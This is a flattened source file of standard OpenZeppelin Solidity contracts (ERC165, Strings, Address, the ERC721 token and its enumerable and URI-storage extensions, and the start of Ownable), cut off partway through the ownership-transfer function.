OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit 